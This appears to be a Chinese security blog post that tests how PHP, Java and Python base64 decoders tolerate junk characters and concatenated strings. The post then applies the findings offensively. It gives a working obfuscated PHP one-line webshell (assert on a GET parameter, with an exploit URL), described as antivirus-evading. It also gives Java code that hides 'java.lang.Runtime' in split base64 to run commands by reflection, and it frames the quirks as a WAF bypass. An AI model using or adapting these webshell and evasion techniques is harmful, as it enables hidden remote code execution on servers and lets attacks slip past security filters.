0x01 前言
在我们使用base64的时候,常常会按照标准格式输入
例如规则:
大小写英文, 数字, +, =, / 组成一个base64
例子一:
字符串: aaa!~~!aa123g
base64: YWFhIX5+IWFhMTIzZw==
例子二:
字符串: aaa!~~!aa123gfG{}:">?dddff
base64: YWFhIX5+IWFhMTIzZ2ZHe306Ij4/ZGRkZmY=
可以看得到这很标准,那么有没有想过如果我们在这个标准的base64里面乱加内容会怎么样呢?
例如说:
我添加特殊字符进去
字符串: abcd
base64: YWJjZA==
我把这个base64改成: <>--------|||Y___W---J!@#$%^&*()_jZA----==
那么这些语言还能在解码回: abcd 么?
这个问题值得探讨实验实验
0x02 php
0x02.1 测试环境
系统: Windows 8
php版本: php5.6.27
服务器: Apache
0x02.2 测试例子
# 在php中base64解码函数是很强的,基本上咋写都可以解析
# 除了个别规则以外
例如:
字符串: a
base64: YQ==
php_1:
base64: ----Y|Q==
解码为: a
解码情况: 成功
php_2:
base64: ^Y-|]--[Q-=)=
解码为: a
解码情况: 成功
php_3:
base64: 来Y测Q=试=啊
解码为: a
解码情况: 成功
php_4:
base64: YQ==Yg==
解码为: 第一个YQ==成功解码,第二个YQ==会解析成乱码
解码情况: YQ==会解析为a, Yg==会解析为乱码, YQ==遇到=号了解析完毕以后后面的base64都会乱码
基础编码:
字符串: aaa!~~!aa123g
base64: YWFhIX5+IWFhMTIzZw==
下面我会给出一下符合php的base64解码的例子
# 例子1-添加“减号”进行干扰
特殊符号: -
组合为: --------YWFhIX5+IWFhMTIzZw==
<?php
$b64_str = "--------YWFhIX5+IWFhMTIzZw==";
var_dump(base64_decode($b64_str));
?>
那么能成功解密么?
答案是可以的
这里可以看得到php的包容性特别强
# 运行结果:
string(13) "aaa!~~!aa123g"
# 例子2-添加部分特殊符号进行干扰
特殊符号: - < | > _
组合为: <--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____
<?php
$b64_str = "<--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____";
var_dump(base64_decode($b64_str));
?>
# 运行结果:
string(13) "aaa!~~!aa123g"
# 例子3-添加各种特殊符号进行干扰
特殊符号: ! @ # $ % ^ & * ( ) _ - { \[ ] ? . , 》《 }
组合为: Y!WF@hI#X$5+%IW^F&h*M(T)I_z-Z{w\[]?.,==》《}
<?php
$b64_str = "Y!WF@hI#X$5+%IW^F&h*M(T)I_z-Z{w[\]?.,=》=《";
var_dump(base64_decode($b64_str));
?>
# 运行结果:
string(13) "aaa!~~!aa123g"
# 例子4-添加各种中文进行干扰
组合为: YWF中hIX5+I文WFhMTIzZw==
<?php
$b64_str = "YWF中hIX5+I文WFhMTIzZw==";
var_dump(base64_decode($b64_str));
?>
# 运行结果:
string(13) "aaa!~~!aa123g"
0x03.2 实际用途例子
那么这个姿势在进行编写免杀马子的时候就特别适合了
因为这几个特性是php独有的,其他语言解码会乱码
例如写一个基础的一句话木马然后混淆
文件名: test.php
<?php
assert(get_defined_vars()['_GET'][1]);
?>
混淆
<?php
$base64_decode_str = 'edoced_46esab';
$base64_decode = strrev($base64_decode_str);
// get_defined_vars 的 base64
$parameter_base64 = 'Z~2!!!V#0%X{2}R.l;Z,ml.u|Z-W^R……f*dmFycw==^^^^^^';
$parameter = $base64_decode($parameter_base64);
// assert 的 base64
$assert_base64 = '<>-Y|X_N@z!Z\X]J[0:.::::';
$asser = $base64_decode($assert_base64);
// 利用
$asser($parameter()['_GET'][1]);
?>
利用方法: http://127.0.0.1/test.php?1=phpinfo();
0x03 java
0x03.1 测试环境
系统: mac
java版本: 1.8
测试模块: sun.misc.BASE64Decoder
0x03.2 测试例子
# 在java中就没有办法像php那么强随便怎么加都可以正常解析了
# 但是在java中,也是有骚操作的.
# 因为java中可以多个base64写成一个,按=号分割
例如:
字符串: a
base64: YQ==
java:
base64: YQ==Yg==
解码为: ab
php:
base64: YQ==Yg==
解码为: YQ==会解析为a, Yg==会解析为乱码
下面我会给出一下符合java的base64解码的例子
# 例子1-添加多个base64进行解码
# 字符串_1: aaa!~~!aa123g
# base64_1: YWFhIX5+IWFhMTIzZw==
# 字符串_2: -------
# base64_2: LS0tLS0tLQ==
# 字符串_3: testbase64
# base64_3: dGVzdGJhc2U2NA==
import sun.misc.BASE64Decoder;
import java.io.IOException;
public class BASE64DecoderTest {
public static void main(String[] args) {
BASE64Decoder decoder = new BASE64Decoder();
try {
String base64Str = "YWFhIX5+IWFhMTIzZw==LS0tLS0tLQ==dGVzdGJhc2U2NA==";
String str = new String(decoder.decodeBuffer(base64Str), "utf-8");
System.out.println(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
# 运行结果
aaa!~~!aa123g-------testbase64
0x03.2 实际用途例子
# 最大的用途就是混淆关键字,写免杀木马
# 自己发挥想象吧
import org.apache.commons.io.IOUtils;
import sun.misc.BASE64Decoder;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class ExecCmdTest {
public static void main(String[] args) {
try {
String cmd = "whoami";
BASE64Decoder decoder = new BASE64Decoder();
// java.lang.Runtime 的 base64
String RuntimeBase64Str = "ag==YQ==dg==YQ==Lg==bGE=bmcuUnVudA==aW1l";
byte[] RuntimeByte = decoder.decodeBuffer(RuntimeBase64Str);
String runtimePath = new String(RuntimeByte, "utf-8");
// 获取Runtime类对象
Class runtimeClass = Class.forName(runtimePath);
// 获取构造方法
Constructor runtimeConstructor = runtimeClass.getDeclaredConstructor();
runtimeConstructor.setAccessible(true);
// 创建Runtime类实例 相当于 Runtime r = new Runtime();
Object runtimeInstance = runtimeConstructor.newInstance();
// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass.getMethod("exec", String.class);
// 调用exec方法 等于 r.exec(cmd); cmd参数输入要执行的命令
Process p = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
// 获取命令执行结果
InputStream results = p.getInputStream();
// 输出命令执行结果
System.out.println(IOUtils.toString(results, "UTF-8"));
} catch (Exception e) {
e.printStackTrace();
}
}
}
0x04 python
0x04.1 测试环境
系统: mac
python版本: Python 3.8.2 64-bit
测试模块: base64
0x04.2 测试例子
# 在python中base64解码函数是最强的,基本上咋写都可以解析
例如:
字符串: a
base64: YQ==
python_1:
base64: ----Y|Q==
解码为: a
解码情况: 成功
python_2:
base64: ^Y-|]--[Q-=)=
解码为: a
解码情况: 成功
python_3:
base64: 来Y测Q=试=啊
解码为: 无法解
解码情况: 失败,遇到中文会直接爆
ValueError: string argument should contain only ASCII characters 错误
python_4:
base64: YQ==Yg==
解码为: 第一个YQ==成功解码,第二个YQ==直接过滤
解码情况: YQ==会解析为a, python遇到了=号以后就等于结束了,=号后面的内容全部会自动过滤掉不解析
基础编码:
字符串: aaa!~~!aa123g
base64: YWFhIX5+IWFhMTIzZw==
下面我会给出一下符合python的base64解码的例子
# 例子1-添加“减号”进行干扰
特殊符号: -
组合为: --------YWFhIX5+IWFhMTIzZw==
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
import base64
res = base64.b64decode("--------YWFhIX5+IWFhMTIzZw==")
print(res.decode())
# 运行结果:
aaa!~~!aa123g
# 例子2-添加部分特殊符号进行干扰
特殊符号: - < | > _
组合为: <--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
import base64
res = base64.b64decode("<--YW--F-h-I--|X5||+I|||WFh||MTIzZw|>||||___--__--==---_____")
print(res.decode())
# 运行结果:
aaa!~~!aa123g
# 例子3-添加各种特殊符号进行干扰
特殊符号: ! @ # $ % ^ & * ( ) _ - { } [ \ ] ? . ,
组合为: Y!WF@hI#X$5+IW^F&h*M(T)I_z-Z{w[\]?.,==
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
import base64
res = base64.b64decode("Y!WF@hI#X$5%+IW^F&h*M(T)I_z-Z{w}[\]?.,==")
print(res.decode())
# 运行结果:
aaa!~~!aa123g
0x04.2 实际用途例子
python我一般是拿来写exp的,所以自己发挥一下想象力吧
0x05 总结
可以看的出,每一门语言对于base64解码的极限都是不同的,那么这种不同就给了我们可以拿来绕waf的可能性
因为语言的不同
假如waf使用的是c写的,他解码失败了,但是php语言他解成功了
那么不就绕过了么